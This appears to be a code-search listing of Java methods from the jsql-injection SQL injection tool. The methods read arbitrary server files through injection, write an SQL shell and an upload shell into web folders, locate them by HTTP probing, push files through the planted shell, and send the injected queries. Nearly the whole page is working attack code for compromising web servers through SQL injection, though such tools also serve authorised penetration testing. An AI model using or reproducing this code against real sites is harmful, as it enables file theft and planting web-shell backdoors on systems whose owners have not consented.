Search in sources :

Example 11 with Request

use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.

the class RessourceAccess method readFile.

/**
 * Attempt to read files in parallel by their path from the website using injection.
 * Reading file needs a FILE right on the server.
 * The user can interrupt the process at any time.
 * @param pathsFiles List of file paths to read
 * @throws JSqlException when an error occurs during injection
 * @throws InterruptedException if the current thread was interrupted while waiting
 * @throws ExecutionException if the computation threw an exception
 */
public static void readFile(List<ItemList> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    int countFileFound = 0;
    ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableReadFile"));
    CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
    for (ItemList pathFile : pathsFiles) {
        CallableFile callableFile = new CallableFile(pathFile.toString());
        taskCompletionService.submit(callableFile);
        RessourceAccess.callablesReadFile.add(callableFile);
    }
    List<String> duplicate = new ArrayList<>();
    int submittedTasks = pathsFiles.size();
    int tasksHandled;
    for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchFileStopped; tasksHandled++) {
        CallableFile currentCallable = taskCompletionService.take().get();
        if (!"".equals(currentCallable.getSourceFile())) {
            String name = currentCallable.getPathFile().substring(currentCallable.getPathFile().lastIndexOf('/') + 1, currentCallable.getPathFile().length());
            String content = currentCallable.getSourceFile();
            String path = currentCallable.getPathFile();
            Request request = new Request();
            request.setMessage(Interaction.CREATE_FILE_TAB);
            request.setParameters(name, content, path);
            MediatorModel.model().sendToViews(request);
            if (!duplicate.contains(path.replace(name, ""))) {
                LOGGER.info("Shell might be possible in folder " + path.replace(name, ""));
            }
            duplicate.add(path.replace(name, ""));
            countFileFound++;
        }
    }
    // Force ongoing suspendables to stop immediately
    for (CallableFile callableReadFile : RessourceAccess.callablesReadFile) {
        callableReadFile.getSuspendableReadFile().stop();
    }
    RessourceAccess.callablesReadFile.clear();
    taskExecutor.shutdown();
    taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
    RessourceAccess.isSearchFileStopped = false;
    String result = "Found " + countFileFound + " file" + (countFileFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " files checked";
    if (countFileFound > 0) {
        LOGGER.debug(result);
    } else {
        LOGGER.warn(result);
    }
    Request request = new Request();
    request.setMessage(Interaction.END_FILE_SEARCH);
    MediatorModel.model().sendToViews(request);
}
Also used : ItemList(com.jsql.view.swing.list.ItemList) ExecutorService(java.util.concurrent.ExecutorService) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable)

Example 12 with Request

use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.

the class RessourceAccess method createSqlShell.

/**
 * Create SQL shell on the server. Override user name and password eventually.
 * @param pathShell Script to create on the server
 * @param url URL for the script (used for url rewriting)
 * @param username User name for current database
 * @param password User password for current database
 * @throws InterruptedException
 * @throws InjectionFailureException
 * @throws StoppedByUserSlidingException
 */
public static void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException, InterruptedException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.sql").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
    String pathShellFixed = pathShell;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_SQLSHELL));
    String resultInjection;
    String[] sourcePage = { "" };
    try {
        resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_SQLSHELL), sourcePage, false, 1, null);
        if ("".equals(resultInjection)) {
            throw new JSqlException("payload integrity verification: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("injected payload does not match source", e);
    }
    if (!urlShell.isEmpty()) {
        urlShell = urlShell.replaceAll("/*$", "") + "/";
    }
    String url = urlShell;
    if ("".equals(url)) {
        url = ConnectionUtil.getUrlBase();
    }
    if (resultInjection.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("SQL payload created into \"" + pathShellFixed + FILENAME_SQLSHELL + "\"");
        // 
        String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
        String urlProtocol;
        if ("/".equals(urlWithoutProtocol)) {
            urlProtocol = url.replaceAll("/+$", "");
        } else {
            urlProtocol = url.replace(urlWithoutProtocol, "");
        }
        String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
        List<String> directoryNames = new ArrayList<>();
        if (urlWithoutFileName.split("/").length == 0) {
            directoryNames.add("/");
        }
        for (String directoryName : urlWithoutFileName.split("/")) {
            directoryNames.add(directoryName + "/");
        }
        ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateSqlShell"));
        CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
        StringBuilder urlPart = new StringBuilder();
        for (String segment : directoryNames) {
            urlPart.append(segment);
            taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_SQLSHELL));
        }
        int submittedTasks = directoryNames.size() * 1;
        int tasksHandled;
        String urlSuccess = null;
        for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
            try {
                CallableHttpHead currentCallable = taskCompletionService.take().get();
                if (currentCallable.isHttpResponseOk()) {
                    urlSuccess = currentCallable.getUrl();
                    if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
                        LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
                    } else {
                        LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
                    }
                } else {
                    LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
                }
            } catch (InterruptedException | ExecutionException e) {
                LOGGER.error("Interruption while checking SQL shell", e);
            }
        }
        taskExecutor.shutdown();
        taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
        if (urlSuccess != null) {
            Request request = new Request();
            request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
            request.setParameters(pathShellFixed.replace(FILENAME_SQLSHELL, ""), urlSuccess, username, password);
            MediatorModel.model().sendToViews(request);
        } else {
            LOGGER.warn("HTTP connection to SQL payload not found");
        }
    } else {
        throw new JSqlException("Incorrect SQL payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) ArrayList(java.util.ArrayList) Request(com.jsql.model.bean.util.Request) ExecutorCompletionService(java.util.concurrent.ExecutorCompletionService) ThreadFactoryCallable(com.jsql.model.suspendable.callable.ThreadFactoryCallable) ExecutorService(java.util.concurrent.ExecutorService) ExecutionException(java.util.concurrent.ExecutionException)

Example 13 with Request

use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.

the class RessourceAccess method uploadFile.

/**
 * Upload a file to the server.
 * @param pathFile Remote path of the file to upload
 * @param urlFile URL of uploaded file
 * @param file File to upload
 * @throws JSqlException
 * @throws IOException
 */
public static void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.upload").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD);
    String pathShellFixed = pathFile;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile("<" + DataAccess.LEAD + ">" + sourceShellToInject + "<" + DataAccess.TRAIL + ">", pathShellFixed + FILENAME_UPLOAD));
    String[] sourcePage = { "" };
    String sourceShellInjected;
    try {
        sourceShellInjected = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_UPLOAD), sourcePage, false, 1, null);
        if ("".equals(sourceShellInjected)) {
            throw new JSqlException("Bad payload integrity: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("Payload integrity verification failed: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"), e);
    }
    String urlFileFixed = urlFile;
    if ("".equals(urlFileFixed)) {
        urlFileFixed = ConnectionUtil.getUrlBase().substring(0, ConnectionUtil.getUrlBase().lastIndexOf('/') + 1);
    }
    if (sourceShellInjected.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("Upload payload deployed at \"" + urlFileFixed + FILENAME_UPLOAD + "\" in \"" + pathShellFixed + FILENAME_UPLOAD + "\"");
        String crLf = "\r\n";
        URL urlUploadShell = new URL(urlFileFixed + "/" + FILENAME_UPLOAD);
        URLConnection connection = urlUploadShell.openConnection();
        connection.setDoOutput(true);
        try (InputStream streamToUpload = new FileInputStream(file)) {
            byte[] streamData = new byte[streamToUpload.available()];
            if (streamToUpload.read(streamData) == -1) {
                throw new JSqlException("Error reading the file");
            }
            String headerForm = "";
            headerForm += "-----------------------------4664151417711" + crLf;
            headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\"" + file.getName() + "\"" + crLf;
            headerForm += "Content-Type: binary/octet-stream" + crLf;
            headerForm += crLf;
            String headerFile = "";
            headerFile += crLf + "-----------------------------4664151417711--" + crLf;
            connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=---------------------------4664151417711");
            connection.setRequestProperty("Content-Length", String.valueOf(headerForm.length() + headerFile.length() + streamData.length));
            try (OutputStream streamOutputFile = connection.getOutputStream()) {
                streamOutputFile.write(headerForm.getBytes());
                int index = 0;
                int size = 1024;
                do {
                    if (index + size > streamData.length) {
                        size = streamData.length - index;
                    }
                    streamOutputFile.write(streamData, index, size);
                    index += size;
                } while (index < streamData.length);
                streamOutputFile.write(headerFile.getBytes());
                streamOutputFile.flush();
            }
            try (InputStream streamInputFile = connection.getInputStream()) {
                char buff = 512;
                int len;
                byte[] data = new byte[buff];
                StringBuilder result = new StringBuilder();
                do {
                    len = streamInputFile.read(data);
                    if (len > 0) {
                        result.append(new String(data, 0, len));
                    }
                } while (len > 0);
                if (result.indexOf(DataAccess.LEAD + "y") > -1) {
                    LOGGER.debug("File \"" + file.getName() + "\" uploaded into \"" + pathShellFixed + "\"");
                } else {
                    LOGGER.warn("Upload file \"" + file.getName() + "\" into \"" + pathShellFixed + "\" failed");
                }
                Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
                msgHeader.put(Header.URL, urlFileFixed);
                msgHeader.put(Header.POST, "");
                msgHeader.put(Header.HEADER, "");
                msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
                msgHeader.put(Header.SOURCE, result.toString());
                Request request = new Request();
                request.setMessage(Interaction.MESSAGE_HEADER);
                request.setParameters(msgHeader);
                MediatorModel.model().sendToViews(request);
            }
        }
    } else {
        throw new JSqlException("Incorrect Upload payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
    Request request = new Request();
    request.setMessage(Interaction.END_UPLOAD);
    MediatorModel.model().sendToViews(request);
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) FileInputStream(java.io.FileInputStream) InputStream(java.io.InputStream) OutputStream(java.io.OutputStream) Request(com.jsql.model.bean.util.Request) URL(java.net.URL) HttpURLConnection(java.net.HttpURLConnection) URLConnection(java.net.URLConnection) FileInputStream(java.io.FileInputStream) Header(com.jsql.model.bean.util.Header) EnumMap(java.util.EnumMap)

Example 14 with Request

use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.

the class RessourceAccess method isReadingAllowed.

/**
 * Check if current user can read files.
 * @return True if user can read file, false otherwise
 * @throws JSqlException when an error occurs during injection
 */
public static boolean isReadingAllowed() throws JSqlException {
    // Fix #41055: NullPointerException on getFile()
    if (MediatorModel.model().getVendor().instance().getXmlModel().getResource().getFile() == null) {
        LOGGER.warn("Reading file on " + MediatorModel.model().getVendor() + " is currently not supported");
        return false;
    }
    String[] sourcePage = { "" };
    String resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlPrivilegeTest(), sourcePage, false, 1, null);
    if ("".equals(resultInjection)) {
        MediatorModel.model().sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
        Request request = new Request();
        request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
        MediatorModel.model().sendToViews(request);
        RessourceAccess.readingIsAllowed = false;
    } else if ("false".equals(resultInjection)) {
        LOGGER.warn("Privilege FILE is not granted to current user, files can't be read");
        Request request = new Request();
        request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
        MediatorModel.model().sendToViews(request);
        RessourceAccess.readingIsAllowed = false;
    } else {
        Request request = new Request();
        request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
        MediatorModel.model().sendToViews(request);
        RessourceAccess.readingIsAllowed = true;
    }
    // TODO optional
    return RessourceAccess.readingIsAllowed;
}
Also used : SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) Request(com.jsql.model.bean.util.Request)

Example 15 with Request

use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.

the class InjectionModel method inject.

/**
 * Run a HTTP connection to the web server.
 * @param newDataInjection SQL query
 * @return source code of current page
 */
@Override
public String inject(String newDataInjection, boolean isUsingIndex, String metadataInjectionProcess) {
    // Temporary url, we go from "select 1,2,3,4..." to "select 1,([complex query]),2...", but keep initial url
    String urlInjection = this.mediatorUtils.getConnectionUtil().getUrlBase();
    String dataInjection = StringUtils.SPACE + newDataInjection;
    urlInjection = this.mediatorStrategy.buildURL(urlInjection, isUsingIndex, dataInjection);
    urlInjection = StringUtil.clean(urlInjection.trim());
    URL urlObject = null;
    // TODO Keep only a single check
    try {
        urlObject = new URL(urlInjection);
    } catch (MalformedURLException e) {
        LOGGER.log(LogLevel.CONSOLE_ERROR, String.format("Incorrect Query Url: %s", e.getMessage()));
        return StringUtils.EMPTY;
    }
    Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
    // TODO identique urlInjection == urlObject
    urlObject = this.initializeQueryString(isUsingIndex, urlInjection, dataInjection, urlObject, msgHeader);
    String pageSource = StringUtils.EMPTY;
    // Define the connection
    try {
        var httpRequestBuilder = HttpRequest.newBuilder().uri(URI.create(urlObject.toString())).setHeader(HeaderUtil.CONTENT_TYPE_REQUEST, "text/plain").timeout(Duration.ofSeconds(15));
        this.mediatorUtils.getCsrfUtil().addHeaderToken(httpRequestBuilder);
        this.mediatorUtils.getConnectionUtil().setCustomUserAgent(httpRequestBuilder);
        this.initializeHeader(isUsingIndex, dataInjection, httpRequestBuilder);
        this.initializeRequest(isUsingIndex, dataInjection, httpRequestBuilder, msgHeader);
        var httpRequest = httpRequestBuilder.build();
        HttpResponse<String> response = this.getMediatorUtils().getConnectionUtil().getHttpClient().send(httpRequestBuilder.build(), BodyHandlers.ofString());
        pageSource = response.body();
        Map<String, String> headers = ConnectionUtil.getHeadersMap(response);
        msgHeader.put(Header.RESPONSE, headers);
        msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
        int sizeHeaders = headers.keySet().stream().map(key -> headers.get(key).length() + key.length()).mapToInt(Integer::intValue).sum();
        float size = (float) (pageSource.length() + sizeHeaders) / 1024;
        var decimalFormat = new DecimalFormat("0.000");
        msgHeader.put(Header.PAGE_SIZE, decimalFormat.format(size));
        if (this.mediatorUtils.getParameterUtil().isRequestSoap()) {
            pageSource = StringUtil.fromHtml(pageSource);
        }
        msgHeader.put(Header.SOURCE, pageSource.replaceAll("(#){60,}", // Remove ranges of # created by calibration
        "$1...").replaceAll("(jIyM){60,}", // Remove batch of chars created by Dios
        "$1..."));
        msgHeader.put(Header.METADATA_PROCESS, metadataInjectionProcess);
        msgHeader.put(Header.METADATA_STRATEGY, this.mediatorStrategy.getMeta());
        // Send data to Views
        var request = new Request();
        request.setMessage(Interaction.MESSAGE_HEADER);
        request.setParameters(msgHeader);
        this.sendToViews(request);
    } catch (IOException e) {
        LOGGER.log(LogLevel.CONSOLE_ERROR, String.format("Error during connection: %s", e.getMessage()));
    } catch (InterruptedException e) {
        LOGGER.log(LogLevel.CONSOLE_JAVA, e, e);
        Thread.currentThread().interrupt();
    }
    // return the source code of the page
    return pageSource;
}
Also used : MalformedURLException(java.net.MalformedURLException) DecimalFormat(java.text.DecimalFormat) HttpRequest(java.net.http.HttpRequest) Request(com.jsql.model.bean.util.Request) IOException(java.io.IOException) URL(java.net.URL) Header(com.jsql.model.bean.util.Header) EnumMap(java.util.EnumMap)

Aggregations

Request (com.jsql.model.bean.util.Request)47 ArrayList (java.util.ArrayList)13 Header (com.jsql.model.bean.util.Header)12 EnumMap (java.util.EnumMap)12 ExecutorCompletionService (java.util.concurrent.ExecutorCompletionService)11 ExecutorService (java.util.concurrent.ExecutorService)11 JSqlException (com.jsql.model.exception.JSqlException)10 SuspendableGetRows (com.jsql.model.suspendable.SuspendableGetRows)9 IOException (java.io.IOException)9 ThreadFactoryCallable (com.jsql.model.suspendable.callable.ThreadFactoryCallable)8 ExecutionException (java.util.concurrent.ExecutionException)8 InjectionFailureException (com.jsql.model.exception.InjectionFailureException)7 ItemList (com.jsql.view.swing.list.ItemList)7 MalformedURLException (java.net.MalformedURLException)6 HttpRequest (java.net.http.HttpRequest)6 URL (java.net.URL)5 List (java.util.List)5 Matcher (java.util.regex.Matcher)5 IgnoreMessageException (com.jsql.model.exception.IgnoreMessageException)4 StoppedByUserSlidingException (com.jsql.model.exception.StoppedByUserSlidingException)4